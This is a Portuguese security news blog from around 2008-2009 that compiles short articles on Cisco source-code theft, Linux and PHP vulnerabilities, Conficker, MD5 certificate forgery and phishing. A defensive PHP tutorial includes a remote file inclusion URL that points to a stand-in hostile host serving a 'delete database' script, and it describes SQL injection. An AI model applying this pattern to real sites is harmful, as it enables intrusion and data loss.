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May 11 Sueco é acusado de roubar código-fonte de roteadores da CiscoUm sueco foi indiciado na terça-feira por ter participado no roubo
do código-fonte do IOS (Internetwork Operating System), sistema
operacional usado nos roteadores da Cisco, responsáveis por boa parte
da infra-estrutura de internet atual. May 05 O Linux é seguro?Para os adeptos de plantão, este artigo não é para gerar polêmica, mas para servir de ALERTA. Muito falamos a respeito da segurança do sistema operacional Linux, mas bem sabemos que ele também tem suas vulnerabilidades. Quais? As da Microsoft parece que todo usuário Linux sabe de cor, mas e as vulnerabilidades do próprio sistema operacional Linux? Pois é, aqui vai o alerta. Um dia escutei a frase: "o sistema operacional mais seguro é aquele que você mais domina" e tive que concordar plenamente. Pesquisando, então, sobre as vulnerabilidades do Linux, esperando encontrar pouca coisa, achei muita gente relatando seus problemas. Até que encontrei no site da SANS uma pesquisa realizada pela própria SANS junto ao FBI, e pude esclarecer essa minha dúvida. A pesquisa aborda as 20 maiores vulnerabilidades encontradas, sendo dez para servidores Windows e dez para servidores Unix. As brechas do LinuxAbaixo estão listadas as dez maiores vulnerabilidades do Sistema Operacional Linux/Unix, traduzidas em outubro de 2003 e ainda hoje presentes:
Depois dessa lavada de vulnerabilidades, vale deixar alguns comentários. A vulnerabilidade não está necessariamente relacionada ao uso desses serviços, mas está muito relacionada a sua má configuração. Não confie demais na sua segurança. A desconfiança é o melhor aliado de um bom administrador. Como diminuir a vulnerabilidadeUm sistema bem administrado diminui enormemente a probabilidade de invasão. Segundo as vulnerabilidades aqui discutidas, vamos a algumas dicas de segurança:
Dicas gerais de segurança
Fonte: http://www.linuxmagazine.com.br/materia/o_linux_e_seguro April 09 Principais falhas de segurança no PHPVou falar sobre alguns erros comuns que são cometidos por
programadores que estão começando agora. Resolvi fazer esse artigo pois
vejo diariamente em fóruns de PHP pessoas com erros em scripts que
possuem rombos enormes de segurança… Não prometo deixar o seu sistema
tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar
que muita gente faça um estrago considerável no seu site. Cuidados com a URL - Parte IUma falha muito comum são aqueles sites que, tentando usar um sistema "legal", acabam abusando da sorte. São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo: E na URL do site ficaria: http://www.meusite.com.br/?pagina=contato.php http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php
Cuidados com a URL - Parte IIOutro erro comum é quando passamos parâmetros pela URL, por exemplo:
o ID de uma categoria ou de um produto que, mais tarde, será buscado
direto no banco para recolher algumas informações. http://www.meusite.com.br/produtos.php?id=12
Até aqui tudo bem. Seu script funciona, você tem o que precisa e tá
tudo na mais perfeita harmonia. Mas chega um desocupado invasor e
modifica a sua URL deixando da seguinte forma: Viu o que aconteceu? As possíveis condições para a consulta ser verdadeira são: id igual a vazio, 1 igual a 1 e vazio igual a vazio. Essa consulta vai ser dada como verdadeira e todos os produtos serão retornados. Sim, meu amigo, é o fim do mundo. Mas, como eu disse, não estou aqui para te assustar e sim para mostrar como resolver o pepino. Vamos a uma atitude simples mas que te salvará do Apocalipse… É só mudar uma linha: Com isso eu digo que valor da variável $produto será igual ao valor
inteiro (int de integer) da variável $_GET['id']. Problema resolvido,
meus caros! Se o atacante colocar uma string como parâmetro (todo
SQL-Injection é uma string) ela será convertida para inteiro. E o valor
inteiro de uma string é igual a zero. Com isso você evita o uso de aspas e caracteres protegidos do MySQL mantendo a sua query segura. Esse caso também vale para formulários dos quais os dados vão direto para consultas MySQL (formulários de login, cadastro e comentários, por exemplo). Sobre Usuários e SenhasOutro ponto muito importante é não exibir, em momento algum, o nome
de login (usuário) de algum usuário cadastrado no sistema. Lembre-se
que para um usuário conseguir invadir a conta do outro ele precisa de
duas coisas: usuário (ou e-mail) e a senha.. Se ele souber o usuário já
tem 50% de sucesso. March 23 Segurança: testes manuais X testes automatizadosPesquisas indicam que o grande número de ataques ocorre através de vulnerabilidades apresentadas em aplicações web e que a grande porcentagem desses ataques é realizada via protocolo http/S ou portas que estão freqüentemente expostas às comunidades web. Com esses fatos, é essencial que as corporações estejam em alerta para proteger suas aplicações web. Como os aplicativos web tornam-se cada vez mais complexos, enormes quantidades de dados sigilosos, incluindo informações pessoais e financeiras são trocadas e armazenadas. E os consumidores esperam que estas informações sejam mantidas de maneira segura e sigilosa. Existem dois métodos para descobrir vulnerabilidades em um aplicativo web: por meio de ensaio e invasão manual ou usando ferramentas automatizadas de varredura e análise estática. A técnica de testes de segurança de invasão manual é um dos mais antigos métodos utilizados para descobrir vulnerabilidades em aplicações. Á medida em que a frequência dos ataques tem crescido e a complexidade das aplicações aumentado surgem cada vez mais especialistas em testes de invasão, ou "pen". O único objetivo destes profissionais consiste em encontrar e explorar problemas de segurança em aplicações web. No final dos anos 1990, as empresas começaram a desenvolver técnicas para automatizar estes testes. Nessa época, a web tinha se tornado mais madura e navegadores estavam começando a ser capazes de lidar com as complexidades necessárias para a dinâmica das aplicações. O objetivo destas ferramentas foi antecipado para automatizar o processo de realização de varredura no aplicativo, injetar falhas e descobrir vulnerabilidades. As ferramentas automatizadas são capazes de cruzar informações, analisá-las e testar as aplicações de uma maneira mais eficiente do que o teste de invasão manual. Estas ferramentas têm amadurecido e a maioria das vulnerabilidades existentes hoje já está endereçada e é bem resolvida. Além disso, como os aplicativos web continuam a crescer em tamanho, o teste manual está ficando cada vez mais difícil. Em muitas organizações ele se torna praticamente impossível de ser aplicado, pois seria necessária a dedicação de muito tempo, esforço físico e dinheiro. Embora as ferramentas automatizadas e testadores qualificados possam navegar em uma aplicação web, somente o testador é capaz de compreender a lógica por trás do fluxo de trabalho da aplicação. Este entendimento permite ao teste manual subverter a lógica do negócio. Por exemplo, um aplicativo pode direcionar o usuário a partir do ponto A ao ponto B e ao ponto C, onde o ponto B é uma validação de segurança. A revisão manual do aplicativo pode mostrar que é possível ir diretamente a partir do ponto A ao ponto C, ignorando totalmente a validação de segurança. Tanto os testes manuais quanto os automatizados são métodos exaustivos de identificação de vulnerabilidades em aplicações web. Cada método tem suas forças e fraquezas inerentes e ambos podem ser usados para descobrir vulnerabilidades críticas de segurança. As ferramentas automatizadas nunca devem substituir completamente os testes manuais. No entanto, se usadas corretamente, estas ferramentas podem ser usadas para encontrar uma ampla gama de técnicas de vulnerabilidades, economizando tempo e dinheiro. Sofisticadas organizações utilizam a combinação correta de ferramentas automatizadas e ensaios de invasão manual para proporcionar uma melhor segurança do aplicativo web. Fonte: http://www.decisionreport.com.br/publique/cgi/cgilua.exe/sys/start.htm?infoid=4141&sid=15 March 16 Steganalise e Investigação Forense
Conficker: O que muda depois do super-vírusO mundo foi afetado de maneira e dimensão poucas vezes vista em outras infecções por vírus de computador. Empresas pararam, ou ainda estão parando, por dias e acho que não será fácil reestabelecer os serviços de TI plenamente tão cedo. Tudo por causa do vírus Downad, também conhecido como Conficker e Kido. Pela sua versatilidade, métodos de infecção variados e dificuldade de remoção, tem sido um pesadelo para as corporações. Elencamos diversas providências que devem ser tomadas para reduzir ou mesmo evitar que sua rede seja invadida por este tipo de infecção, que será muito mais comum daqui em diante: - Atualizações de segurança devem ser feitas regularmente e de maneira efetiva. Não adianta fazer só quando se instala o computador ou ser deixada a cargo do usuário. Deve ser feita de maneira automática e acompanhada de perto por um responsável atentamente. A Microsoft possui inclusive um produto gratuito chamado WSUS que funciona muito bem. Não se esqueça de nenhuma máquina. - Usuários não devem ser administradores de seus computadores. Como dizia o tio do Homem-Aranha: "Grandes poderes trazem grandes responsabilidades". Se o usuário for administrador, pode comprometer a segurança de seu computador se não souber o que está fazendo. Isso inclui destruir partes importantes do sistema e instalar componentes maliciosos no sistema operacional. - O usuário não deve conhecer a senha de administrador local do computador. Pelos mesmos motivos do item anterior. - Devem ser definidas senhas de administrador diferentes para cada computador da rede. Senhas comuns facilitam a proliferação de vírus. NUNCA DEIXE A SENHA DE ADMINISTRADOR EM BRANCO! - O acesso à internet não dever ser fornecido aos usuários de maneira indiscriminada. Além de abrir mais portas para conteúdos maliciosos, se um usuário está acessando a rede provavelmente não está trabalhando. Devem ser liberados apenas sites inofensivos como sites de notícia, bancos e sites de utilidade pública. Acessos à internet devem ser bem justificados para evitar que usuários desavisados comprometam a segurança da rede. -Invista em bons antivírus. Em corporações com mais de 50 computadores, não adianta usar a versão grátis do AVG ou Avast. Você precisará saber se o antivírus está atualizando, se não foi desabilitado pelo usuário (parece estúpido, mas tem alguns usuários que fazem este tipo de coisa!) e iniciar um scan em todos os computadores. Os melhores antivírus do mercado possuem também firewall e IDS que ajudam a farejar a rede por possíveis ameaças. - Redes planas são uma ameaça à segurança de seu ambiente. Redes em que todos acessam todos multiplicam enormemente a probabilidade de uma ameaça se espalhar muito rapidamente. Quanto maior a rede, maior o risco. O melhor é segregar a rede em pedaços muito pequenos. Se possível, cada desktop deve acessar somente os servidores da sua rede. Compartilhamento de arquivos e impressoras entre micros deve ser banido. Pode ser usado o firewall do antivírus para bloquear o acesso a partes não autorizadas da rede, mas se você conseguir bloquear fisicamente, por hardware, melhor. - Padronize seu hardware e software. Ter todos os sistemas operacionais desde Windows 95 até Windows Vista, em todo o tipo de computador desde Pentium II até Core 2 Duo, só complica a administração e consequentemente a segurança do ambiente. - Invista em pessoal. Uma equipe de infra-estrutura sobrecarregada e mal-treinada não vai conseguir dar conta de proteger sua rede. Invista em treinamento, tenha uma equipe do tamanho adequado para a sua corporação e acompanhe de perto as ações de prevenção necessárias. - Tenha um plano de contingência. De preferência testado ;-). Em caso de problemas, saiba quais são as áreas que precisarão ter os serviços reestabelecidos mais rapidamente e quais as ações que deverão ser tomadas para isso acontecer. A falta dele implica em demora ainda maior para a normalização do ambiente. - Instale Linux no lugar de Windows. Se sua corporação não usa softwares que só rodam em Windows esta é, sim, uma opção a ser considerada. Uma migração para Linux, desde que bem feita, pode reduzir muito as ameaças de segurança à sua empresa e de cabo pode economizar muito com licenças de software. Porém você provavelmente precisará investir mais em treinamento de pessoal. Lembre-se de que redundância de proteção é melhor para a segurança do seu ambiente. Fonte: http://imasters.uol.com.br/artigo/11805/seguranca/conficker_o_que_muda_depois_do_super-virus/ January 05 Falha permite criação de phishing 'perfeito' com certificado digital falso
Pesquisadores quebram segurança de site confiávelA pequena imagem de um cadeado no canto dos navegadores não pode mais indicar certamente que uma conexão é segura. É o que mostrou uma nova pesquisa divulgada nesta terça-feira (30) no congresso de tecnologia 25C3, em Berlim. Com testes, um time de pesquisadores do Centrum Wiskunde & Informatica (CWI), da Califórnia, e da Eindhoven University of Technology, da Holanda, conseguiu quebrar a segurança de um site confiável usando uma rede conectada de 200 consoles do videogame PlayStation 3. Com o equipamento, eles demonstraram que é possível enganar o navegador caso o site use um antigo algoritmo de criptografia, chamado MD5. Ele é usado para embaralhar o conteúdo de uma mensagem --como uma senha, por exemplo-- antes de enviá-la, para que somente o destinatário possa lê-la. Quando um usuário visita um site cujo endereço começa com "https", geralmente vê um cadeado fechado no canto do navegador, que indica que o site emprega um certificado digital lançado por uma autoridade confiável que opera na rede. O navegador verifica o certificado, usando algum algoritmo, incluindo, em alguns sites, o MD5. Foi em um site usando este algoritmo que os pesquisadores conseguiram driblar a segurança. O procedimento, no entanto, durou três dias para ser completado, até que pudessem identificar o conteúdo da mensagem enviada em teste. Se fosse usado apenas um computador normal, a tática usada poderia demorar cerca de 30 anos para alcançar o mesmo resultado, gerando dois falsos certificados. Para muitos especialistas, mesmo que a quebra realizada pelos pesquisadores seja bastante difícil de conseguir, os resultados do teste --mostrados no congresso da 25C3 em Berlim-- podem contribuir para que as conexões fiquem mais seguras. Grandes empresas que desenvolvem navegadores, como a Microsoft e a Mozilla, por exemplo, já foram informadas da vulnerabilidade dos sistemas de criptografia que usam o MD5. Com isso, elas podem adaptar seus programas para indicar sites que usam o algoritmo vulnerável. Um dos objetivos da pesquisa foi justamente alertar as autoridades que expedem os certificados para que não usem mais o sistema antigo e migrem para outros algoritmos alternativos e mais modernos, como o SHA-2. Fonte: http://www1.folha.uol.com.br/folha/informatica/ult124u484949.shtml August 07 Estudo aponta as 10 principais vulnerabilidades em aplicações webUm estudo realizado pela Batori, empresa especializada em segurança da informação, constatou que grande parte das vulnerabilidades está concentrada hoje em aplicações web, notadamente na estrutura de banco de dados e na arquitetura dos programas.
Além disso, a análise descobriu que grande parte dessas brechas não é detectada por ferramentas como scanners e analisadores de códigos e, quando analisados, não têm a devida eficácia. Falhas desta natureza somente são identificadas e reparadas por profissionais experientes. Então os hackers se aproveitam dessas vulnerabilidades, que geram brechas, para invadir os sistemas, diz o estudo.
Para alertar o mercado sobre o problema, a Batori realizou um levantamento e listou um ranking com os dez principais tipos de ataques baseados em vulnerabilidades nas aplicações web, que respondem por 89% dos casos:
1) Cross-site scripting (XSS) – Técnica de ataque que representa 13% das ocorrências. Ela permite executar scripts maliciosos no navegador do usuário da aplicação vulnerável.
2) Manipulação de dados ocultos – Ela responde, também, por 13% das ocorrências. A aplicação vulnerável permite acesso indevido quando dados ocultos são manipulados indevidamente.
3) Falha ao restringir acesso a URL ou funcionalidade – Essa vulnerabilidade, que ocorre porque a aplicação não restringe adequadamente suas áreas restritas, representa 11% das ocorrências.
4) Tratamento indevido de erro, revelação de informações sensíveis – A aplicação revela informações sensíveis através de uso não esperado. Responde por 9% das ocorrências.
5) Armazenamento inseguro de criptografia – Esse tipo de brecha, que representa 9% das ocorrências, expõe dados sensíveis, que deveriam ser armazenados de forma criptografada e estão em texto livre ou com criptografia inadequada.
6) Comunicação insegura – Vulnerabilidade responsável por 8% das ocorrências. A aplicação trafega dados sensíveis através de canais não-seguros.
7) Falha da especificação de requisitos – Deficiência que representa 8% das ocorrências. Os controles de segurança, que deveriam existir, não existem devido à falha na especificação.
8) Injeção de comandos – Técnica de ataque responsável por 8% das ocorrências e que explora injeção de comandos através de aplicação para serem processados por outros sistemas ou camadas. Por exemplo: SQL Injection, SMTP Injection, HTML Injection etc.
9) Processo inadequado de cadastro de usuários – Procedimento que causa 5% das ocorrências. O cadastro de usuário deve respeitar algumas recomendações de segurança, que se não forem seguidas podem expor a aplicação a diversos incidentes.
10) Quebra de autenticação e gerenciamento de sessão – Responsável por 5% das ocorrências, as aplicações vulneráveis permitem burlar o processo de autenticação através de gestão fraca de sessão ou procedimentos inseguros.
Outras vulnerabilidades respondem por 11% das ocorrências. July 18 Segurança baseada em cloud computing vai triplicar até 2013A importância de serviços antimalware e antispam por correio eletrônico ou mensagens instantâneas vai crescer e representar 60% do mercado de segurança. A quantidade de aplicações de segurança para serviços como os baseados no modelo de cloud computing se multiplicará por três até 2013, segundo o Gartner. Outros estudos da empresa mostram ainda que o uso
de e-mail por cloud computing vai subir 12% até 2012 e que o impacto
do cloud computing é semelhante ao do e-business. A consultoria assegura que 20% dos investimentos em ferramentas de segurança
para mensagens, como os serviços antimalware e antispam para correio eletrônico
ou mensagens instantâneas, estão atualmente seguindo um novo modelo, muito
similar ao do software como serviço (SaaS). Sua importância irá crescer até
representar 60% de mercado, de acordo com as previsões do Gartner. June 25 Golpe do B.O. ameaça internauta com falsas denúnciasEm mais uma tentativa de tirar vantagens dos internautas, hackers passaram a divulgar mensagens escritas falsamente no nome de um investigador de polícia. No texto, ele diz ter um boletim de ocorrência (B.O.) com informações sobre a pessoa que recebe a mensagem. Quando clica para visualizar o conteúdo desse documento, o usuário pode infectar seu computador com uma praga que rouba informações. A Secretaria de Segurança Pública informou, via assessoria de imprensa, que não envia Boletins de Ocorrência via internet.
Mensagem dos golpistas contém muitos erros de português. (Foto: Reprodução)
Phishing
Uma das principais estratégias colocadas em prática por hackers atualmente é criar sites infectados, que fazem parte de um golpe conhecido como phishing scam. Fonte: http://g1.globo.com/Noticias/Tecnologia/0,,MUL610995-6174,00.html June 13 IBM lança centro mundial de segurança no BrasilA IBM lança, hoje, um centro mundial de segurança no Brasil (SOC, da sigla em inglês) em Hortolândia, no interior de São Paulo. Na sua inauguração, o centro vai contar com sete funcionários, mas a intenção da empresa é dobrar a quantidade de empregados no SOC até o final do ano. Além do centro brasileiro, a IBM possui outras sete unidades de SOC espalhadas pelo mundo. De acordo com Rogério Moraes, diretor da divisão IBM ISS no Brasil (o executivo era o diretor geral da ISS Brasil antes da aquisição pela IBM por 1,3 bilhão de dólares), os planos para lançar um centro mundial de segurança no Brasil já têm vários anos. “Já tínhamos visto na ISS a necessidade de centro para o mercado brasileiro. Aqui, a segurança é muito avançada, tanto nos profissionais quanto em práticas como phishing e trojans bancários”, disse em entrevista por telefone. Moraes destaca que, com o SOC, foram conquistados cinco novos clientes em terceirização de segurança. “Todas as empresas eram de médio a grande porte”, afirmou, sem dar outros detalhes. “Temos 80 clientes de terceirização na América Latina. Com o centro, vamos dobrar esse número”, garantiu Modelo matemático permite isolar máquinas infectadas por wormsUm grupo de pesquisadores Universidade do Estado de Ohio criou uma estratégia para combater os worms, isolando as máquinas infectadas. Para interromper a infecção antes que os worms provoquem muitos danos, os pesquisadores criaram um modelo matemático para avaliar a proliferação. June 10 Ataques phishing direcionados estão em crescimentoDois grupos criminosos roubaram dados de 15 mil vítimas nos últimos quinze meses. As fraudes online direcionadas a alvos específicos, os chamados ataques spear-phishing, vitimizaram 15 mil usuários de computadores durantes os últimos quinze meses, de acordo com dados divulgados pela firma de segurança VeriSign. Estes ataques veiculados por email, em vez de serem enviados para milhões de usuários de correio eletrônico, são enviados a um grupo menor de usuários e trazem como isca dados pessoais como nome da vítima ou de seu empregador, o que aumenta sua credibilidade, noticiou o site ComputerWorld. Ao clicar em um link incluso na mensagem, o usuário é então levado a um site malicioso que, através de alguma vulnerabilidade de seu sistema operacional abre uma brecha para controle remoto e roubo de informações confidenciais. Matthew Richard, diretor do iDefense Rapid Response Team, grupo de defesa da VeriSign, afirmou que nos últimos dois meses os ataques cresceram, graças ao refinamento dos métodos de entrega das ameaças e do uso de dados. De acordo com o site SC Magazine dois grupos internacionais são os grandes responsáveis por este tipo de ataques. Um deles está localizado na Romênia e outro distribuído por diversos locais. Embora com intenções semelhantes, ambos utilizam técnicas distintas, como keyloggers (softwares que gravam dados digitados no teclado) e formulários falsos. De qualquer modo, os ataques são de difícil defesa. Filtros anti-phishing são ineficientes, já que só catalogam ataques conhecidos. Sendo assim, é necessário bom senso, treinamento e educação. Quando os usuário forem menos ingênuos, ataques de phishing serão inócuos. "Estes ataques são feitos conta humanos, não contra a tecnologia", declarou Richard. by Rodrigo Martin de Macedo — last modified 2008-06-09 01:10 PM
May 30 Chega ao Brasil uma versão do antivírus Kaspersky para celulares
May 08 Usuários que instalam SP3 do Windows XP não podem fazer downgrade do IEFramingham - Microsoft não permite ação para bloquear bugs no Windows gerados por incompatibilidade de arquivos mais recentes do IE7. A Microsoft alertou, nesta quarta-feira (07/05), que os usuários que fizerem o download do Service Pack 3 para o Windows XP não conseguirão fazer o downgrade do Internet Explorer 7 para o IE6 sem desinstalar a atualização. “Para garantir que a experiência do usuário seja confiável, prevenimos esta bagunça desabilitando a possibilidade de desinstalação do IE7”, explica Maliouta. Gregg Keizer, editor do Computerworld, de Framingham Quer acessar o banco online com segurança? Use o seu celularSão Francisco - Enquanto celulares ainda estão fora do radar dos hackers, especialistas dizem que banco móvel é mais seguro do que no PC. Quer acessar seu banco online com segurança? Então descarte seu microcomputador e faça a transação em seu celular. Hoje, existem diversos serviços financeiros para celulares. O PayPal permite que você envie dinheiro a outra pessoa por meio de seu celular - mercado que tem crescido com serviços como Obopay, mChek e KushCash - além de ofertas de bancos como o Bank of America e o Wells Fargo. Os golpes de phishing – outra grande ameaça à segurança de dados financeiros na internet – podem ser ainda mais perigosos para celulares e computadores. Se você lê e-mails em um smartphone, também receberá mensagens de phishing. E enquanto nos desktops tanto o Internet Explorer como o Firefox contam com ferramentas embutidas de proteção antiphishing, os browsers móveis não possuem tais recursos.
Além disso, algumas tentativas raras de ataques modificam as mensagens tradicionais de phishing para atingir celulares. Apelidadas de "smishing" ou "vishing" para o uso em mensagens de SMS ou sistemas de Voz sobre IP (VoIP), tais golpes podem enviar uma mensagem de texto a um celular contando um falso alerta para uma conta de cartão de crédito, por exemplo. Se você chamar um número fornecido na mensagem falsa, um sistema automático de VoIP pede que o número de seu cartão de crédito seja digitado. A popularização do acesso ao mobile banking e o uso dos pagamentos móveis certamente eleva os riscos de infecções de malwares e phishings nos celulares. "A expectativa é que veremos mais aplicações maliciosas nestes dispositivos" afirma Samir Kumar, planejador do grupo de produtos da divisão de comunicações móveis da Microsoft. Mas por agora, segundo ele, o maior perigo se aplica a celulares perdidos ou roubados. As medidas de segurança nos celulares, como 'blindar' o dispositivo, permanecem as mais importantes acima de tudo, especialmente se você acessa serviços de mobile banking, diz Kumar. Outra dica: mantenha a comunicação Bluetooth de seu celular limitada a dispositivos conhecidos e autorizados. Erik Larkin, editor da PC World
May 06 Spam cresce mais de 50% no primeiro trimestre
April 13 Ataques a servidores web crescem 34% no 1º trimestre no BrasilSão Paulo - Em relação ao mesmo trimestre de 2007, o crescimento nos incidentes deste tipo reportados foi ainda mais expressivo, chegando a 519%.
O número de notificações de ataques a servidores web na internet brasileira cresceu 35% de janeiro a março de 2008, segundo o Centro de Estudos, Resposta e Tratamento de Incidentes de Segurança no Brasil (Cert.br). March 27 Os segredos para defender o orçamento de segurança em tempos de recessãoCom a atual conjuntura econômica, especialmente nos Estados Unidos, muitos gerentes de projetos de TI percebem que seus orçamentos devem ser enxugados nos próximos meses conforme as empresas buscam ajustar seus gastos. Ao destacar continuamente e nos termos corretos a importância de seus esforços junto a outros líderes da empresa, os executivos de segurança em TI podem conseguir minimizar a extensão dos cortes em suas finanças e manter projetos importantes vivos, de acordo com uma série de diretores de segurança (CSOs). Durante a conferência CSO Perspectives, realizada esta semana em Atlanta (EUA), Boulton Fernando, CSO do IndyMac Bank, destacou os desafios enfrentados pelos líderes de segurança em tempos de recessão econômica. Ele próprio disse estar passando por uma dessas reduções forçadas de orçamento. Através de um planejamento forte e um pensamento inovador, diz ele, os progressos podem continuar sendo feitos no que tange a segurança de TI, ainda que os executivos tenham que detalhar e “chorar” cada centavo gasto em sua área. “Minha agenda para 2008 inclui a sobrevivência. Temos que descobrir como conseguir isso mesmo em meio a dificuldades e desafios, e focar em como manter as luzes acesas em 2008 e ainda conseguir chegar mais forte a 2009”, disse Fernando. “Parte dos planos era mostrar aos diretores os projetos que gostaríamos de colocar em prática, mas que não poderíamos arcar e eles, em contrapartida, disseram que ainda precisamos trabalhar muito nessas coisas”, revela. “Quando você lhes pergunta como solucionar esse tipo de problemas e lhes pergunta o que esperam que você faça, eles normalmente colocam as mãos nos bolsos.” Em alguns casos, a melhor estratégia para manter um projeto vivo em meio a orçamentos enxutos é reduzir a implementação de novas tecnologias e dedicar esforços a ações de prevenção de riscos, diz o CSO. Outra tática útil é tentar conduzir projetos que tenham consumido mais esforços operacionais, como de gerenciamento de senhas e identidades, e levá-los a outras áreas do departamento de TI. Focar em projetos verdadeiramente estratégicos dificultará o corte de orçamentos para segurança, sustenta Fernando. O outsourcing pode ser outra estratégia que amplia seu real alcance em fases de retenção de orçamentos, e as companhias devem se assegurar de que estão contratando os serviços pelas melhores taxas antes de retirar da empresa qualquer de suas operações, destaca Fernando. Outros CSOs disseram que cortar a gordura dos orçamentos de segurança onde quer que seja possível, bem como apresentar planos de gastos da forma mais direta são chaves para a defesa contra o corte de custos. “Você precisa começar assumindo que não conseguirá todo o dinheiro que pedir. Portanto, decida aquilo que vai precisar e apresente um orçamento 10% superior. Se você fizer uma abordagem com a realidade econômica em mente, será muito mais fácil conseguir aquilo que você procura”, aconselha John Stewart, CSO da Cisco Systems. “Também é importante cortar qualquer coisa que você possa não conseguir entregar; você não deve pedir dinheiro para coisas que não conseguirá fazer e correr o risco de perder verba em orçamentos futuros”, completa Stewart. Durante a conferência Source Boston 2008, outros líderes de segurança em TI deram conselhos parecidos em relação ao uso de planejamento detalhado e a amarração de projetos a iniciativas de negócios maiores dentro da empresa para prevenir que alguns dólares sejam retirados de seu orçamento. |
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